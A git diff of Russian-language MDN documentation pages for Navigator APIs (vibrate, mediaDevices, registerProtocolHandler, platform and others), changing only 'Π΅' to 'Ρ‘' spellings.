+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>getVRDisplays()</code></strong> интСрфСйса {{domxref("Navigator")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ° {{domxref("VRDisplay")}}, ΡΠ²Π»ΡΡŽΡ‰ΠΈΡ…ΡΡ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ любого доступного ΠΈΠ· ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ VR устройств.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/navigator/index.html b/files/ru/web/api/navigator/index.html
index b653f5af33..136e313b2c 100644
--- a/files/ru/web/api/navigator/index.html
+++ b/files/ru/web/api/navigator/index.html
@@ -33,7 +33,7 @@ translation_of: Web/API/Navigator
<dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Geolocation")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΌΠ΅ΡΡ‚ΠΎΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ устройства.</dd>
<dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Boolean")}} Ρ„Π»Π°Π³, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ java ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("Boolean")}} Ρ„Π»Π°Π³, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ java ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
<dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref ("DOMString")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ язык, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ это язык ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code> возвращаСтся, ΠΊΠΎΠ³Π΄Π° язык нСизвСстСн.</dd>
<dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
@@ -106,7 +106,7 @@ translation_of: Web/API/Navigator
<dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>false</code>. JavaScript taint/untaint Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² JavaScript 1.2.</dd>
<dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
- <dd>ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ устройства с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π΅Π΅. НС Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ, Ссли Π½Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ.</dd>
+ <dd>ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ устройства с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π΅Ρ‘. НС Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ, Ссли Π½Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ.</dd>
</dl>
<h3 id="Specification" name="Specification">НС стандартизированныС</h3>
@@ -119,5 +119,5 @@ translation_of: Web/API/Navigator
<dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt>
<dd><span class="short_text" id="result_box" lang="ru"><span class="hps">УстанавливаСт</span> <span class="hps">ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span><span>.</span></span>Β <span id="result_box" lang="ru"><span class="hps">Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ доступСн</span> <a href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°</a> <span class="hps">ΠΈ</span> <span class="hps">являСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ</span><span>;</span></span> Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСсто Π½Π΅Π³ΠΎ XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a>.</dd>
<dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt>
- <dd>Запрос установки Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ пробуТдСния для рСсурса. Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ° пробуТдСния прСпятствуСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ части устройства Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ автоматичСски.</dd>
+ <dd>Запрос установки Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ пробуТдСния для рСсурса. Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ° пробуТдСния прСпятствуСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ части устройства Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ автоматичСски.</dd>
</dl>
diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html
index 2e8d3aaf0c..fc482a99f1 100644
--- a/files/ru/web/api/navigator/mediadevices/index.html
+++ b/files/ru/web/api/navigator/mediadevices/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/mediaDevices
---
<div>{{APIRef("Media Capture and Streams")}}</div>
-<p>Бвойство <strong><code>Navigator.mediaDevices</code></strong> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("MediaDevices")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт доступ ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΌΠ΅Π΄ΠΈΠ°-устройствам Π²Π²ΠΎΠ΄Π°, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ ΠΊΠ°ΠΌΠ΅Ρ€Π°Β ΠΈ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½, Π° Ρ‚Π°ΠΊΠΆΠ΅ совмСстноС использованиС экрана.</p>
+<p>Бвойство <strong><code>Navigator.mediaDevices</code></strong> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("MediaDevices")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт доступ ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ ΠΌΠ΅Π΄ΠΈΠ°-устройствам Π²Π²ΠΎΠ΄Π°, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ ΠΊΠ°ΠΌΠ΅Ρ€Π°Β ΠΈ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½, Π° Ρ‚Π°ΠΊΠΆΠ΅ совмСстноС использованиС экрана.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/navigator/registerprotocolhandler/index.html b/files/ru/web/api/navigator/registerprotocolhandler/index.html
index a09dc87fea..b21f29f39c 100644
--- a/files/ru/web/api/navigator/registerprotocolhandler/index.html
+++ b/files/ru/web/api/navigator/registerprotocolhandler/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Navigator/registerProtocolHandler
<p>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π²Π΅Π±-сайтам Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСбя ΠΊΠ°ΠΊ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ  для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ².</p>
-<p><span id="result_box" lang="ru"><span class="hps">По сообраТСниям</span> <span class="hps">бСзопасности</span><span>,</span> <span class="hps">ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span><span>,</span> <span class="hps">Π²Π΅Π±-сайты ΠΌΠΎΠ³ΡƒΡ‚</span> <span class="hps">Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span> <span class="hps">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°</span> <span class="hps">для сСбя</span> <span class="hps">-</span> <span class="hps">Π΄ΠΎΠΌΠ΅Π½</span> <span class="hps">ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»</span> <span class="hps">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с</span> Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ <span class="hps">сайтом.</span></span> Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ Π² Firefox, Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Π΅ΡΡ‚Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-сайтов  Π² настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> Π² about:config.</p>
+<p><span id="result_box" lang="ru"><span class="hps">По сообраТСниям</span> <span class="hps">бСзопасности</span><span>,</span> <span class="hps">ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span><span>,</span> <span class="hps">Π²Π΅Π±-сайты ΠΌΠΎΠ³ΡƒΡ‚</span> <span class="hps">Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span> <span class="hps">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°</span> <span class="hps">для сСбя</span> <span class="hps">-</span> <span class="hps">Π΄ΠΎΠΌΠ΅Π½</span> <span class="hps">ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»</span> <span class="hps">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</span> <span class="hps">Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с</span> Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ <span class="hps">сайтом.</span></span> Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ Π² Firefox, Ρ€Π°Π·Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‘ΡΡ‚Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-сайтов  Π² настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> Π² about:config.</p>
<p><span id="result_box" lang="ru"><span class="hps">Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΌΠΎΠ³ΡƒΡ‚</span> <span class="hps">Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ</span> <span class="hps">ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ²</span><span>, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅</span> <span class="hps">Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сайты</span><span>: </span></span>см. "Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅" Ρ€Π°Π·Π΄Π΅Π» ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… с XPCOM.</p>
diff --git a/files/ru/web/api/navigator/vibrate/index.html b/files/ru/web/api/navigator/vibrate/index.html
index 691330d85e..4736346bb2 100644
--- a/files/ru/web/api/navigator/vibrate/index.html
+++ b/files/ru/web/api/navigator/vibrate/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Navigator/vibrate
<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>Navigator.vibrate()</code></strong> ΠΏΡƒΠ»ΡŒΡΠΈΡ€ΡƒΠ΅Ρ‚ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π½Π° устройствС, <span id="result_box" lang="ru"><span class="hps">Ссли</span> <span class="hps">Ρ‚Π°ΠΊΠΎΠ΅ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠ΅ обСспСчСниС</span> <span class="hps">сущСствуСт. Если устройство Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΡŽ, этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈ ΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта.</span></span> Если шаблон Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ Π² процСссС выполнСния, ΠΊΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹Π·Π²Π°Π½, ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ шаблон останавливаСтся ΠΈ вмСсто Π½Π΅Π³ΠΎ начинаСтся Π½ΠΎΠ²Ρ‹ΠΉ.</p>
-<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">ΠΌΠ΅Ρ‚ΠΎΠ΄</span> <span class="hps">Π½Π΅ Π² состоянии</span> <span class="hps">Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">ΠΈΠ·-Π·Π°</span> <span class="hps">Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…</span> <span class="hps">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</span><span>,</span></span> ΠΎΠ½ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>, ΠΈΠ½Π°Ρ‡Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>true</code>. Если шаблон Π²Π΅Π΄Π΅Ρ‚ ΠΊ слишком Π΄Π»ΠΈΠ½Π½ΠΎΠΉ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, ΠΎΠ½ усСкаСтся: <span id="result_box" lang="ru"><span class="hps">максимальная Π΄Π»ΠΈΠ½Π°</span> <span class="hps">зависит</span> <span class="hps">ΠΎΡ‚</span> <span class="hps">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">ΠΌΠ΅Ρ‚ΠΎΠ΄</span> <span class="hps">Π½Π΅ Π² состоянии</span> <span class="hps">Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">ΠΈΠ·-Π·Π°</span> <span class="hps">Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…</span> <span class="hps">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</span><span>,</span></span> ΠΎΠ½ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>, ΠΈΠ½Π°Ρ‡Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code>. Если шаблон Π²Π΅Π΄Ρ‘Ρ‚ ΠΊ слишком Π΄Π»ΠΈΠ½Π½ΠΎΠΉ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ, ΠΎΠ½ усСкаСтся: <span id="result_box" lang="ru"><span class="hps">максимальная Π΄Π»ΠΈΠ½Π°</span> <span class="hps">зависит</span> <span class="hps">ΠΎΡ‚</span> <span class="hps">ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</span><span>.</span></span></p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -16,7 +16,7 @@ translation_of: Web/API/Navigator/vibrate
<dl>
<dt><em>pattern</em></dt>
- <dd><span class="short_text" id="result_box" lang="ru">ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ <span class="hps">шаблон</span> <span class="hps">Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ ΠΈ</span> <span class="hps">ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» ΠΏΠ°ΡƒΠ·Ρ‹</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span> <span class="hps">ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π°</span> <span class="hps">число миллисСкунд</span><span> </span><span class="hps">Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ</span> <span class="hps">ΠΈΠ»ΠΈ ΠΏΠ°ΡƒΠ·Ρ‹</span>, <span class="hps">ΠΏΡ€ΠΈ Ρ‡Π΅Ρ€Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠΈ</span></span>. <span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ</span> <span class="hps">ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span> <span class="atn hps">(</span><span>Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">постоянно</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅</span> <span class="hps">количСство миллисСкунд</span><span>) ΠΈΠ»ΠΈ</span> <span class="hps">массив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</span>, <span class="hps">ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ</span>: <span class="hps">Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span><span>,</span> <span class="hps">ΠΏΠ°ΡƒΠ·Π°</span><span>, Π·Π°Ρ‚Π΅ΠΌ снова</span> <span class="hps">Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span><span class="hps">.</span></span> Π‘ΠΌ. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнСния Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ.</dd>
+ <dd><span class="short_text" id="result_box" lang="ru">ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ <span class="hps">шаблон</span> <span class="hps">Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ ΠΈ</span> <span class="hps">ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» ΠΏΠ°ΡƒΠ·Ρ‹</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span> <span class="hps">ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π°</span> <span class="hps">число миллисСкунд</span><span> </span><span class="hps">Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ</span> <span class="hps">ΠΈΠ»ΠΈ ΠΏΠ°ΡƒΠ·Ρ‹</span>, <span class="hps">ΠΏΡ€ΠΈ Ρ‡Π΅Ρ€Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠΈ</span></span>. <span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ</span> <span class="hps">ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span> <span class="atn hps">(</span><span>Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">постоянно</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅</span> <span class="hps">количСство миллисСкунд</span><span>) ΠΈΠ»ΠΈ</span> <span class="hps">массив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</span>, <span class="hps">ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ</span>: <span class="hps">Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span><span>,</span> <span class="hps">ΠΏΠ°ΡƒΠ·Π°</span><span>, Π·Π°Ρ‚Π΅ΠΌ снова</span> <span class="hps">Π²ΠΈΠ±Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span><span class="hps">.</span></span> Π‘ΠΌ. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнСния Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ.</dd>
</dl>
<p>ΠŸΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 0 ΠΈΠ»ΠΈ пустой массив, ΠΈΠ»ΠΈ массив содСрТащий всС Π½ΡƒΠ»ΠΈ отмСняСт любой шаблон Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
diff --git a/files/ru/web/api/navigatorid/platform/index.html b/files/ru/web/api/navigatorid/platform/index.html
index bbed801cd9..37e7bcda2d 100644
--- a/files/ru/web/api/navigatorid/platform/index.html
+++ b/files/ru/web/api/navigatorid/platform/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/NavigatorID/platform
---
<p>{{ APIRef("HTML DOM") }}</p>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ строку, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. <span id="result_box" lang="ru"><span>БпСцификация позволяСт</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ</span> <span class="hps">всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span> <span class="hps">ΠΏΡƒΡΡ‚ΡƒΡŽ строку</span><span>,</span> <span class="hps">Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ стоит</span> <span class="hps">ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ</span> <span class="hps">Π½Π° это свойство</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ</span> <span class="hps">Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚</span><span>.</span></span></p>
